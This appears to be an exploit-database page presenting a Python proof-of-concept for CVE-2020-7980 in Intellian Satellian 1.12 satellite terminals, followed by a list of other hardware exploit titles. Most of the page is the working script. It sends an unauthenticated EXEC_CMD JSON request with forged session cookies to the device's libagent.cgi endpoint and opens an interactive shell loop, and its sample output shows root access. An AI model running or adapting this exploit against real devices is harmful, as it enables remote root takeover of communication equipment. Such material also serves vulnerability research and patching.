Search for hundreds of thousands of exploits

"Satellian 1.12 - Remote Code Execution"

Author

Exploit author

Xh4H

Platform

Exploit platform

hardware

Release date

Exploit published date

2020-01-29

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# Exploit Title: Satellian 1.12 - Remote Code Execution
# Date: 2020-01-28
# Exploit Author: Xh4H
# Vendor Homepage: https://www.intelliantech.com/?lang=en
# Version: v1.12+
# Tested on: Kali linux, MacOS
# CVE : CVE-2020-7980

# Github repository: https://github.com/Xh4H/Satellian-CVE-2020-7980

# xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
#                   ________________________________________
#         (__)    /                                        \
#         (oo)   (     Intellian Satellite Terminal PoC     )
#   /-------\/ --' \________________________________________/ 
#  / |     ||
# *  ||----||             

# Performing initial scan. Listing available system binaries.
# Starting request to http://<redacted>
# Executing command /bin/ls /bin
# acu_server
# acu_tool
# addgroup
# adduser
# ...

# Satellian $ id
# uid=0(root) gid=0(root)

import requests
import argparse
import sys
import calendar
import time
from termcolor import colored

def cprint(text, color): # colored print
	sys.stdout.write(colored(text + "\n", color, attrs=["bold"]))

def httpize(url):
	if not url.startswith("http"):
		cprint("Missing protocol, using http . . .", "yellow")
		url = "http://" + url
	return url

def send_command(url, command, verbose):
	RCE = {"O_":"A","V_":1,"S_":123456789,"F_":"EXEC_CMD","P1_":{"F":"EXEC_CMD","Q":command}}
	string_to_split = '''"SUCCESS_"
},'''

	if verbose:
		cprint("Starting request to %s" % url, "yellow")
		cprint("Executing command %s" % command, "yellow")

	a = requests.post(url + '/cgi-bin/libagent.cgi?type=J&' + str(calendar.timegm(time.gmtime())) + '000', json=RCE, cookies={'ctr_t': '0', 'sid': '123456789'})
	command_output = a.content[a.content.find(string_to_split):-2].replace(string_to_split, '')

	if len(command_output) < 4 and verbose:
		cprint("Target doesn't seem to be vulnerable\nExiting.", 'red')
		sys.exit()
	print command_output

cprint("""
                  ________________________________________
         (__)    /                                        \\
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\\/ --' \\________________________________________/ 
 / |     ||
*  ||----||             
""", "green")

parser = argparse.ArgumentParser(description="Satellian: A PoC script for CVE-2020-7980")
parser.add_argument("-u", "--url", help="Base url")
args = parser.parse_args()

if args.url is None:
	cprint("Missing arguments.\nUsage example:\n" + sys.argv[0] + " -u http://10.10.10.14\n", "red")
	sys.exit()

url = httpize(args.url)

def main():
	cprint("Performing initial scan. Listing available system binaries.", "green")
	send_command(url, '/bin/ls /bin', True)

	while True:
		command = raw_input('Satellian $ ')
		send_command(url, command, False)

if __name__ == '__main__':
	try:
		main()
	except Exception as e:
		print e
		print "\nAn error happened."
Release DateTitleTypePlatformAuthor
2020-07-08"SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)"webappshardware"Metin Yunus Kandemir"
2020-07-08"BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)"webappshardware"William Summerhill"
2020-07-07"Sickbeard 0.1 - Remote Command Injection"webappshardwarebdrake
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre Γ–VÜNΓ‡"
2020-06-15"Netgear R7000 Router - Remote Code Execution"webappshardwaregrimm-co
2020-06-08"Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)"webappshardware"Hakan Eren ŞAN"
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"AirControl 1.4.2 - PreAuth Remote Code Execution"webappshardware0xd0ff9
2020-06-04"D-Link DIR-615 T1 20.10 - CAPTCHA Bypass"webappshardware"huzaifa hussain"
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
Release DateTitleTypePlatformAuthor
2020-01-29"Satellian 1.12 - Remote Code Execution"webappshardwareXh4H
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47976/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.